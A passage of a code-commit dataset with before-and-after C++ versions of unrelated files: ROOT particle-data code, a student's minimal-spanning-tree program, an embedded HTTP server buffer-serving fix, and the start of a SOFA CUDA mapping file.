fPdgCode      = 0;\n  fMass         = 0;\n  fCharge       = 0;\n  fLifetime     = 0;\n  fWidth        = 0;\n  fParity       = 0;\n  fSpin         = 0;\n  fIsospin      = 0;\n  fI3           = 0;\n  fStrangeness  = 0;\n  fCharm        = 0;\n  fBeauty       = 0;\n  fTop          = 0;\n  fY            = 0;\n  fX            = 0;\n  fStable       = 0;\n  fDecayList    = 0;\n  fTrackingCode = 0;\n  fAntiParticle = 0;\n}\n\n\/\/______________________________________________________________________________\nTParticlePDG::TParticlePDG(Int_t )\n{\n  \/\/ empty for the time  being\n\n  fPdgCode      = 0;\n  fMass         = 0;\n  fCharge       = 0;\n  fLifetime     = 0;\n  fWidth        = 0;\n  fParity       = 0;\n  fSpin         = 0;\n  fIsospin      = 0;\n  fI3           = 0;\n  fStrangeness  = 0;\n  fCharm        = 0;\n  fBeauty       = 0;\n  fTop          = 0;\n  fY            = 0;\n  fX            = 0;\n  fStable       = 0;\n  fDecayList    = 0;\n  fTrackingCode = 0;\n  fAntiParticle = 0;\n}\n\n\/\/______________________________________________________________________________\nTParticlePDG::TParticlePDG(const char* Name, const char* Title, Double_t Mass,\n\t\t\t   Bool_t Stable, Double_t Width, Double_t Charge,\n\t\t\t   const char* ParticleClass, Int_t PdgCode, Int_t Anti,\n\t\t\t   Int_t TrackingCode)\n  : TNamed(Name,Title)\n{\n\n    \/\/ empty for the time  being\n    fLifetime      = 0;\n    fParity        = 0;\n    fSpin          = 0;\n    fIsospin       = 0;\n    fI3            = 0;\n    fStrangeness   = 0;\n    fCharm         = 0;\n    fBeauty        = 0;\n    fTop           = 0;\n    fY             = 0;\n    fX             = 0;\n    fStable        = 0;\n\n    fMass          = Mass;\n    fStable        = Stable;\n    fWidth         = Width;\n    fCharge        = Charge;\n    fParticleClass = ParticleClass;\n    fPdgCode       = PdgCode;\n    fTrackingCode  = TrackingCode;\n    fDecayList     = NULL;\n    if (Anti) fAntiParticle = this;\n    else      fAntiParticle = 0;\n}\n\n\n\/\/______________________________________________________________________________\nTParticlePDG::~TParticlePDG() {\n  if (fDecayList) {\n    fDecayList->Delete();\n    delete fDecayList;\n  }\n}\n\n\n\/\/______________________________________________________________________________\nInt_t TParticlePDG::AddDecayChannel(Int_t        Type, \n\t\t\t\t    Double_t     BranchingRatio,\n\t\t\t\t    Int_t        NDaughters, \n\t\t\t\t    Int_t*       DaughterPdgCode)\n{\n  \/\/ add new decay channel, Particle owns those...\n\n  Int_t n = NDecayChannels();\n  if (NDecayChannels() == 0) {\n    fDecayList = new TObjArray(5);\n  }\n  TDecayChannel* dc = new TDecayChannel(n,Type,BranchingRatio,NDaughters,\n\t\t\t\t\tDaughterPdgCode);\n  fDecayList->Add(dc);\n  return 0;\n}\n\n\/\/_____________________________________________________________________________\nvoid TParticlePDG::PrintDecayChannel(TDecayChannel* dc, Option_t* option) const\n{\n  if (strstr(option,\"banner\")) {\n\t\t\t\t\/\/ print banner\n\n    printf(\" Channel Code BranchingRatio Nd  \");\n    printf(\" ...................Daughters.................... \\n\");\n  }\n  if (strstr(option,\"data\")) {\n\n    TDatabasePDG* db = TDatabasePDG::Instance();\n\n    printf(\"%7i %5i %12.5e %5i  \",\n\t   dc->Number(),\n\t   dc->MatrixElementCode(),\n\t   dc->BranchingRatio(),\n\t   dc->NDaughters());\n    \n    for (int i=0; i<dc->NDaughters(); i++) {\n      int ic = dc->DaughterPdgCode(i);\n      TParticlePDG* p = db->GetParticle(ic);\n      printf(\" %15s(%8i)\",p->GetName(),ic);\n    }\n    printf(\"\\n\");\n  }\n}\n\n\n\/\/______________________________________________________________________________\nvoid TParticlePDG::Print(Option_t *) const\n{\n\/\/\n\/\/  Print the entire information of this kind of particle\n\/\/\n\n   printf(\"%-20s  %6d\\t\",GetName(),fPdgCode);\n   if (!fStable) {\n       printf(\"Mass:%9.4f Width (GeV):%11.4e\\tCharge: %5.1f\\n\",\n              fMass, fWidth, fCharge);\n   }\n   else {\n       printf(\"Mass:%9.4f Width (GeV): Stable\\tCharge: %5.1f\\n\",\n              fMass, fCharge);\n   }\n   if (fDecayList) {\n     int banner_printed = 0;\n     TIter next(fDecayList);\n     TDecayChannel* dc;\n     while ((dc = (TDecayChannel*)next())) {\n       if (! banner_printed) {\n\t PrintDecayChannel(dc,\"banner\");\n\t banner_printed = 1;\n       }\n       PrintDecayChannel(dc,\"data\");\n     }\n   }\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\nWrite a program using C++ to find the minimal spanning tree of a graph. The graph is \nrepresented by an adjacency matrix.\n*\/\n\n#include <string>\n#include <iostream>\n#include <fstream>\nusing namespace std;\n\nbool isInMST(int, int[], int); \/\/first param is what wer're looking for, 2nd is the array we're checking, 3rd is size.\n\nint main(){\n\tfstream inFile;\n\tstring filePath;\n\tbool complete=false;\n\tint adjMatrix[10][10]={\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t}, minSpanMatrix[10][10]={\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t}, minSpanVertices[10]={-1,-1,-1,-1,-1,-1,-1,-1,-1,-1}; \/\/will not have matrix bigger than 10x10\n\tint numVertices=-1, minVertex=-1, minEdge=-1;\n\/\/-\tPrompt user for input filepath name.\n\tcout << \"Where is the file located?\" << endl;\n\tcin >> filePath;\n\tcin.get();\n\tinFile.open(filePath, ios::in);\n\n\tif(!inFile){\n\t\tcout << \"Error! Missing File! Please try again with a proper filepath.\" << endl <<\"Press enter to close the window...\";\n\t\tcin.get();\n\t\treturn 0;\n\t}\n\telse{\n\t\tinFile >> numVertices;\n\t\tinFile >> minSpanVertices[0];\n\t\tminSpanVertices[0]-=1;\n\t\tminSpanMatrix[minSpanVertices[0]][minSpanVertices[0]]=0;\n\t\tinFile.get();\t\/\/grabs rest of the line.\n\t\tfor(int i=0; i<numVertices;i++){\n\t\t\tfor(int j=0; j<numVertices;j++){\n\t\t\t\tinFile >> adjMatrix[i][j];\n\t\t\t}\n\t\t\tinFile.get();\n\t\t}\n\t}\n\tcout << \"File found!\" << endl;\n\tcout << \"Adjacency matrix of the input is as follows:\" << endl << endl;\n\tfor(int i=0; i<numVertices;i++){\n\t\tfor(int j=0; j<numVertices;j++){\n\t\t\tcout << adjMatrix[i][j] << \"\\t\";\n\t\t}\n\t\tcout << endl << endl;\n\t}\n\tcout << endl;\n\t\n\tcout << \"Calculating minimal spanning tree...\" << endl;\n\twhile(!complete){\n\t\t\/\/determine if the process is complete; e.g. all vertices have been added to the min span tree\n\t\tcomplete=true;\n\t\tfor(int i=0; i<numVertices; i++){\n\t\t\tif(minSpanVertices[i]==-1){\n\t\t\t\tcomplete=false;\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t\tif(!complete){\n\t\t\t\/\/find the closest vertex to the existing minimal spanning tree\n\t\t\tint row, col, minRow, minCol;\n\t\t\tfor(row=0; row<numVertices;row++){\n\t\t\t\tif(!isInMST(row,minSpanVertices,numVertices)){\n\t\t\t\t\tfor(col=0; col<numVertices;col++){\n\t\t\t\t\t\tif(isInMST(col,minSpanVertices,numVertices)){\n\t\t\t\t\t\t\tif(minEdge<1||(adjMatrix[row][col]<minEdge && adjMatrix[row][col]!=-1)){\n\t\t\t\t\t\t\t\tminEdge=adjMatrix[row][col];\n\t\t\t\t\t\t\t\tminVertex=row;\n\t\t\t\t\t\t\t\tminRow=row;\n\t\t\t\t\t\t\t\tminCol=col;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/\/add the found vertex to the min span tree\n\t\t\n\t\t\t\/\/cout << \"Adding this vertex to MST: \" << minVertex << endl;\n\t\t\tint count=0;\n\t\t\twhile(minSpanVertices[count]!=-1){\n\t\t\t\tcount++;\n\t\t\t}\n\t\t\tminSpanVertices[count]=minVertex;\n\n\t\t\t\/\/add edge to min span tree\n\t\t\t\/\/cout << \"adding this edge to row \" << minRow << \" and col \" << minCol << \":\" << minEdge << endl;\n\t\t\tminSpanMatrix[minRow][minCol]=minEdge;\n\t\t\tminSpanMatrix[minCol][minRow]=minEdge;\n\t\t\tminSpanMatrix[minRow][minRow]=0;\n\n\t\t\t\/\/reset min edge to undefined;\n\t\t\tminEdge=-1;\n\t\t}\n\t}\n\n\tcout << \"Minimal spanning tree of the given input is as follows:\" << endl << endl;\n\tfor(int i=0; i<numVertices;i++){\n\t\tfor(int j=0; j<numVertices;j++){\n\t\t\tcout << minSpanMatrix[i][j] << \"\\t\";\n\t\t}\n\t\tcout << endl << endl;\n\t}\n\tcout << \"Press enter to close the window...\";\n\tcin.get();\n\treturn 0;\n}\n\nbool isInMST(int x, int intArr[], int size){\n\tfor(int i=0; i<size; i++)\n\t\tif(x==intArr[i])\n\t\t\treturn true;\n\treturn false;\n}\n<commit_msg>Update MinSpanTree.cpp<commit_after>\/*\nCS 3306\nChris Chan\nLast updated 9\/30\/14\nWrite a program using C++ to find the minimal spanning tree of a graph. The graph is \nrepresented by an adjacency matrix.\n*\/\n\n#include <string>\n#include <iostream>\n#include <fstream>\nusing namespace std;\n\nbool isInMST(int, int[], int); \/\/first param is what wer're looking for, 2nd is the array we're checking, 3rd is size.\n\nint main(){\n\tfstream inFile;\n\tstring filePath;\n\tbool complete=false;\n\tint adjMatrix[10][10]={\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t}, minSpanMatrix[10][10]={\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t\t{-1,-1,-1,-1,-1,-1,-1,-1,-1,-1},\n\t}, minSpanVertices[10]={-1,-1,-1,-1,-1,-1,-1,-1,-1,-1}; \/\/will not have matrix bigger than 10x10\n\tint numVertices=-1, minVertex=-1, minEdge=-1;\n\/\/-\tPrompt user for input filepath name.\n\tcout << \"Where is the file located?\" << endl;\n\tcin >> filePath;\n\tcin.get();\n\tinFile.open(filePath, ios::in);\n\n\tif(!inFile){\n\t\tcout << \"Error! Missing File! Please try again with a proper filepath.\" << endl <<\"Press enter to close the window...\";\n\t\tcin.get();\n\t\treturn 0;\n\t}\n\telse{\n\t\tinFile >> numVertices;\n\t\tinFile >> minSpanVertices[0];\n\t\tminSpanVertices[0]-=1;\n\t\tminSpanMatrix[minSpanVertices[0]][minSpanVertices[0]]=0;\n\t\tinFile.get();\t\/\/grabs rest of the line.\n\t\tfor(int i=0; i<numVertices;i++){\n\t\t\tfor(int j=0; j<numVertices;j++){\n\t\t\t\tinFile >> adjMatrix[i][j];\n\t\t\t}\n\t\t\tinFile.get();\n\t\t}\n\t}\n\tcout << \"File found!\" << endl;\n\tcout << \"Adjacency matrix of the input is as follows:\" << endl << endl;\n\tfor(int i=0; i<numVertices;i++){\n\t\tfor(int j=0; j<numVertices;j++){\n\t\t\tcout << adjMatrix[i][j] << \"\\t\";\n\t\t}\n\t\tcout << endl << endl;\n\t}\n\tcout << endl;\n\t\n\tcout << \"Calculating minimal spanning tree...\" << endl;\n\twhile(!complete){\n\t\t\/\/determine if the process is complete; e.g. all vertices have been added to the min span tree\n\t\tcomplete=true;\n\t\tfor(int i=0; i<numVertices; i++){\n\t\t\tif(minSpanVertices[i]==-1){\n\t\t\t\tcomplete=false;\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t\tif(!complete){\n\t\t\t\/\/find the closest vertex to the existing minimal spanning tree\n\t\t\tint row, col, minRow, minCol;\n\t\t\tfor(row=0; row<numVertices;row++){\n\t\t\t\tif(!isInMST(row,minSpanVertices,numVertices)){\n\t\t\t\t\tfor(col=0; col<numVertices;col++){\n\t\t\t\t\t\tif(isInMST(col,minSpanVertices,numVertices)){\n\t\t\t\t\t\t\tif(minEdge<1||(adjMatrix[row][col]<minEdge && adjMatrix[row][col]!=-1)){\n\t\t\t\t\t\t\t\tminEdge=adjMatrix[row][col];\n\t\t\t\t\t\t\t\tminVertex=row;\n\t\t\t\t\t\t\t\tminRow=row;\n\t\t\t\t\t\t\t\tminCol=col;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/\/add the found vertex to the min span tree\n\t\t\n\t\t\t\/\/cout << \"Adding this vertex to MST: \" << minVertex << endl;\n\t\t\tint count=0;\n\t\t\twhile(minSpanVertices[count]!=-1){\n\t\t\t\tcount++;\n\t\t\t}\n\t\t\tminSpanVertices[count]=minVertex;\n\n\t\t\t\/\/add edge to min span tree\n\t\t\t\/\/cout << \"adding this edge to row \" << minRow << \" and col \" << minCol << \":\" << minEdge << endl;\n\t\t\tminSpanMatrix[minRow][minCol]=minEdge;\n\t\t\tminSpanMatrix[minCol][minRow]=minEdge;\n\t\t\tminSpanMatrix[minRow][minRow]=0;\n\n\t\t\t\/\/reset min edge to undefined;\n\t\t\tminEdge=-1;\n\t\t}\n\t}\n\n\tcout << \"Minimal spanning tree of the given input is as follows:\" << endl << endl;\n\tfor(int i=0; i<numVertices;i++){\n\t\tfor(int j=0; j<numVertices;j++){\n\t\t\tcout << minSpanMatrix[i][j] << \"\\t\";\n\t\t}\n\t\tcout << endl << endl;\n\t}\n\tcout << \"Press enter to close the window...\";\n\tcin.get();\n\treturn 0;\n}\n\nbool isInMST(int x, int intArr[], int size){\n\tfor(int i=0; i<size; i++)\n\t\tif(x==intArr[i])\n\t\t\treturn true;\n\treturn false;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"libs\/base\/httpd.h\"\n\n#include <cstring>\n\n#include \"libs\/base\/filesystem.h\"\n\nnamespace valiant {\nnamespace {\nHttpServer* g_server = nullptr;\n\nconstexpr intptr_t kTagVector = 0b01;\nconstexpr intptr_t kTagFileHolder = 0b10;\nconstexpr intptr_t kTagMask = 0b11;\n\ntemplate <intptr_t Tag, typename T>\nvoid* TaggedPointer(T* p) {\n    assert((reinterpret_cast<intptr_t>(p) & kTagMask) == 0);\n    return reinterpret_cast<void*>(reinterpret_cast<intptr_t>(p) | Tag);\n}\n\nintptr_t Tag(void* p) { return reinterpret_cast<intptr_t>(p) & kTagMask; }\n\ntemplate <typename T>\nT* Pointer(void* p) {\n    return reinterpret_cast<T*>(reinterpret_cast<intptr_t>(p) & ~kTagMask);\n}\n\nstruct FileHolder {\n    lfs_file_t file;\n    bool opened = false;\n\n    ~FileHolder() {\n        if (opened) filesystem::Close(&file);\n    }\n};\n}  \/\/ namespace\n\nvoid UseHttpServer(HttpServer* server) {\n    static bool initialized = false;\n    if (!initialized) {\n        LOCK_TCPIP_CORE();\n        httpd_init();\n        UNLOCK_TCPIP_CORE();\n        initialized = true;\n    }\n    g_server = server;\n}\n\nint HttpServer::FsOpenCustom(struct fs_file* file, const char* name) {\n    std::memset(file, 0, sizeof(*file));\n\n    for (auto& uri_handler : uri_handlers_) {\n        auto content = uri_handler(name);\n\n        if (auto* filename = std::get_if<std::string>(&content)) {\n            auto file_holder = std::make_unique<FileHolder>();\n            if (filesystem::Open(&file_holder->file, filename->c_str())) {\n                file_holder->opened = true;\n                file->data = nullptr;\n                file->len = filesystem::Size(&file_holder->file);\n                file->index = 0;\n                file->flags = FS_FILE_FLAGS_HEADER_PERSISTENT;\n                file->pextension =\n                    TaggedPointer<kTagFileHolder>(file_holder.release());\n                return 1;\n            }\n        }\n\n        if (auto* static_buffer = std::get_if<StaticBuffer>(&content)) {\n            file->data = reinterpret_cast<const char*>(static_buffer->buffer);\n            file->len = static_buffer->size;\n            file->index = file->len;\n            file->flags = FS_FILE_FLAGS_HEADER_PERSISTENT;\n            file->pextension = nullptr;\n            return 1;\n        }\n\n        if (auto* v = std::get_if<std::vector<uint8_t>>(&content)) {\n            file->data = reinterpret_cast<char*>(v->data());\n            file->len = v->size();\n            file->index = file->len;\n            file->flags = FS_FILE_FLAGS_HEADER_PERSISTENT;\n            file->pextension = TaggedPointer<kTagVector>(\n                new std::vector<uint8_t>(std::move(*v)));\n            return 1;\n        }\n    }\n\n    return 0;\n}\n\nint HttpServer::FsReadCustom(struct fs_file* file, char* buffer, int count) {\n    auto* file_holder = Pointer<FileHolder>(file->pextension);\n    auto len = filesystem::Read(&file_holder->file, buffer, count);\n    file->index += len;\n    return len;\n};\n\nvoid HttpServer::FsCloseCustom(struct fs_file* file) {\n    auto tag = Tag(file->pextension);\n    if (tag == kTagFileHolder) {\n        delete Pointer<FileHolder>(file->pextension);\n    } else if (tag == kTagVector) {\n        delete Pointer<std::vector<uint8_t>>(file->pextension);\n    }\n}\n\nextern \"C\" {\nerr_t httpd_post_begin(void* connection, const char* uri,\n                       const char* http_request, u16_t http_request_len,\n                       int content_len, char* response_uri,\n                       u16_t response_uri_len, u8_t* post_auto_wnd) {\n    return g_server->PostBegin(connection, uri, http_request, http_request_len,\n                               content_len, response_uri, response_uri_len,\n                               post_auto_wnd);\n}\n\nerr_t httpd_post_receive_data(void* connection, struct pbuf* p) {\n    return g_server->PostReceiveData(connection, p);\n}\n\nvoid httpd_post_finished(void* connection, char* response_uri,\n                         u16_t response_uri_len) {\n    g_server->PostFinished(connection, response_uri, response_uri_len);\n}\n\nvoid httpd_cgi_handler(struct fs_file* file, const char* uri, int iNumParams,\n                       char** pcParam, char** pcValue) {\n    g_server->CgiHandler(file, uri, iNumParams, pcParam, pcValue);\n}\n\nint fs_open_custom(struct fs_file* file, const char* name) {\n    return g_server->FsOpenCustom(file, name);\n}\n\nint fs_read_custom(struct fs_file* file, char* buffer, int count) {\n    return g_server->FsReadCustom(file, buffer, count);\n}\n\nvoid fs_close_custom(struct fs_file* file) { g_server->FsCloseCustom(file); }\n}  \/\/ extern \"C\"\n}  \/\/ namespace valiant\n<commit_msg>Fix dynamic buffer serve<commit_after>#include \"libs\/base\/httpd.h\"\n\n#include <cstring>\n\n#include \"libs\/base\/filesystem.h\"\n\nnamespace valiant {\nnamespace {\nHttpServer* g_server = nullptr;\n\nconstexpr intptr_t kTagVector = 0b01;\nconstexpr intptr_t kTagFileHolder = 0b10;\nconstexpr intptr_t kTagMask = 0b11;\n\ntemplate <intptr_t Tag, typename T>\nvoid* TaggedPointer(T* p) {\n    assert((reinterpret_cast<intptr_t>(p) & kTagMask) == 0);\n    return reinterpret_cast<void*>(reinterpret_cast<intptr_t>(p) | Tag);\n}\n\nintptr_t Tag(void* p) { return reinterpret_cast<intptr_t>(p) & kTagMask; }\n\ntemplate <typename T>\nT* Pointer(void* p) {\n    return reinterpret_cast<T*>(reinterpret_cast<intptr_t>(p) & ~kTagMask);\n}\n\nstruct FileHolder {\n    lfs_file_t file;\n    bool opened = false;\n\n    ~FileHolder() {\n        if (opened) filesystem::Close(&file);\n    }\n};\n}  \/\/ namespace\n\nvoid UseHttpServer(HttpServer* server) {\n    static bool initialized = false;\n    if (!initialized) {\n        LOCK_TCPIP_CORE();\n        httpd_init();\n        UNLOCK_TCPIP_CORE();\n        initialized = true;\n    }\n    g_server = server;\n}\n\nint HttpServer::FsOpenCustom(struct fs_file* file, const char* name) {\n    std::memset(file, 0, sizeof(*file));\n\n    for (auto& uri_handler : uri_handlers_) {\n        auto content = uri_handler(name);\n\n        if (auto* filename = std::get_if<std::string>(&content)) {\n            auto file_holder = std::make_unique<FileHolder>();\n            if (filesystem::Open(&file_holder->file, filename->c_str())) {\n                file_holder->opened = true;\n                file->data = nullptr;\n                file->len = filesystem::Size(&file_holder->file);\n                file->index = 0;\n                file->flags = FS_FILE_FLAGS_HEADER_PERSISTENT;\n                file->pextension =\n                    TaggedPointer<kTagFileHolder>(file_holder.release());\n                return 1;\n            }\n        }\n\n        if (auto* static_buffer = std::get_if<StaticBuffer>(&content)) {\n            file->data = reinterpret_cast<const char*>(static_buffer->buffer);\n            file->len = static_buffer->size;\n            file->index = file->len;\n            file->flags = FS_FILE_FLAGS_HEADER_PERSISTENT;\n            file->pextension = nullptr;\n            return 1;\n        }\n\n        if (auto* v = std::get_if<std::vector<uint8_t>>(&content)) {\n            file->data = reinterpret_cast<char*>(v->data());\n            file->len = v->size();\n            file->index = 0;\n            file->flags = FS_FILE_FLAGS_HEADER_PERSISTENT;\n            file->pextension = TaggedPointer<kTagVector>(\n                new std::vector<uint8_t>(std::move(*v)));\n            return 1;\n        }\n    }\n\n    return 0;\n}\n\nint HttpServer::FsReadCustom(struct fs_file* file, char* buffer, int count) {\n    auto tag = Tag(file->pextension);\n\n    if (tag == kTagFileHolder) {\n        auto* file_holder = Pointer<FileHolder>(file->pextension);\n        auto len = filesystem::Read(&file_holder->file, buffer, count);\n        file->index += len;\n        return len;\n    }\n\n    if (tag == kTagVector) {\n        auto* v = Pointer<std::vector<uint8_t>>(file->pextension);\n        std::memcpy(buffer, v->data() + file->index, count);\n        file->index += count;\n        return count;\n    }\n\n    return FS_READ_EOF;\n};\n\nvoid HttpServer::FsCloseCustom(struct fs_file* file) {\n    auto tag = Tag(file->pextension);\n    if (tag == kTagFileHolder) {\n        delete Pointer<FileHolder>(file->pextension);\n    } else if (tag == kTagVector) {\n        delete Pointer<std::vector<uint8_t>>(file->pextension);\n    }\n}\n\nextern \"C\" {\nerr_t httpd_post_begin(void* connection, const char* uri,\n                       const char* http_request, u16_t http_request_len,\n                       int content_len, char* response_uri,\n                       u16_t response_uri_len, u8_t* post_auto_wnd) {\n    return g_server->PostBegin(connection, uri, http_request, http_request_len,\n                               content_len, response_uri, response_uri_len,\n                               post_auto_wnd);\n}\n\nerr_t httpd_post_receive_data(void* connection, struct pbuf* p) {\n    return g_server->PostReceiveData(connection, p);\n}\n\nvoid httpd_post_finished(void* connection, char* response_uri,\n                         u16_t response_uri_len) {\n    g_server->PostFinished(connection, response_uri, response_uri_len);\n}\n\nvoid httpd_cgi_handler(struct fs_file* file, const char* uri, int iNumParams,\n                       char** pcParam, char** pcValue) {\n    g_server->CgiHandler(file, uri, iNumParams, pcParam, pcValue);\n}\n\nint fs_open_custom(struct fs_file* file, const char* name) {\n    return g_server->FsOpenCustom(file, name);\n}\n\nint fs_read_custom(struct fs_file* file, char* buffer, int count) {\n    return g_server->FsReadCustom(file, buffer, count);\n}\n\nvoid fs_close_custom(struct fs_file* file) { g_server->FsCloseCustom(file); }\n}  \/\/ extern \"C\"\n}  \/\/ namespace valiant\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n*       SOFA, Simulation Open-Framework Architecture, version 1.0 beta 4      *\n*                (c) 2006-2009 MGH, INRIA, USTL, UJF, CNRS                    *\n*                                                                             *\n* This library is free software; you can redistribute it and\/or modify it     *\n* under the terms of the GNU Lesser General Public License as published by    *\n* the Free Software Foundation; either version 2.1 of the License, or (at     *\n* your option) any later version.                                             *\n*                                                                             *\n* This library is distributed in the hope that it will be useful, but WITHOUT *\n* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or       *\n* FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License *\n* for more details.                                                           *\n*                                                                             *\n* You should have received a copy of the GNU Lesser General Public License    *\n* along with this library; if not, write to the Free Software Foundation,     *\n* Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301 USA.          *\n*******************************************************************************\n*                               SOFA :: Modules                               *\n*                                                                             *\n* Authors: The SOFA Team and external contributors (see Authors.txt)          *\n*                                                                             *\n* Contact information: contact@sofa-framework.org                             *\n******************************************************************************\/\n#include \"CudaTypes.h\"\n#include \"CudaBarycentricMapping.inl\"\n\/\/#include <sofa\/component\/mapping\/BarycentricMapping.inl>\n#include <sofa\/core\/componentmodel\/behavior\/MappedModel.h>\n#include <sofa\/core\/ObjectFactory.h>\n#include <sofa\/defaulttype\/VecTypes.h>\n\nnamespace sofa\n{\n\nnamespace component\n{\n\nnamespace mapping\n{\n\nusing namespace sofa::defaulttype;\nusing namespace sofa::core;\nusing namespace sofa::core::componentmodel::behavior;\nusing namespace sofa::gpu::cuda;\n#ifndef SOFA_FLOAT\n#endif\n#ifndef SOFA_DOUBLE\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<CudaVec3fTypes> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<Vec3fTypes>, MechanicalState<CudaVec3fTypes> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<Vec3fTypes> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<CudaVec3fTypes> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<ExtVec3fTypes> > >;\n\/\/ template class BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<ExtVec3dTypes> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<Vec3fTypes> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3f1Types>, MechanicalState<CudaVec3f1Types> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3f1Types>, MechanicalState<CudaVec3fTypes> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<CudaVec3f1Types> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<Vec3fTypes>, MechanicalState<CudaVec3f1Types> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3f1Types>, MechanicalState<Vec3fTypes> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<CudaVec3f1Types> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<CudaVec3fTypes> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<CudaVec3f1Types> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<ExtVec3fTypes> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<Vec3fTypes> > >;\n#endif\n#ifndef SOFA_FLOAT\n#ifndef SOFA_DOUBLE\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<Vec3dTypes>, MechanicalState<CudaVec3fTypes> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<Vec3dTypes> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<Vec3dTypes> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<Vec3dTypes>, MechanicalState<CudaVec3f1Types> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3f1Types>, MechanicalState<Vec3dTypes> > >;\n\/\/ template class BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<ExtVec3dTypes> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<Vec3dTypes> > >;\n#endif\n#endif\n}\n}\n\nnamespace gpu\n{\n\nnamespace cuda\n{\nusing namespace sofa::defaulttype;\nusing namespace sofa::core;\nusing namespace sofa::core::componentmodel::behavior;\nusing namespace sofa::component::mapping;\n\nSOFA_DECL_CLASS(CudaBarycentricMapping)\n\nint BarycentricMappingCudaClass = core::RegisterObject(\"Supports GPU-side computations using 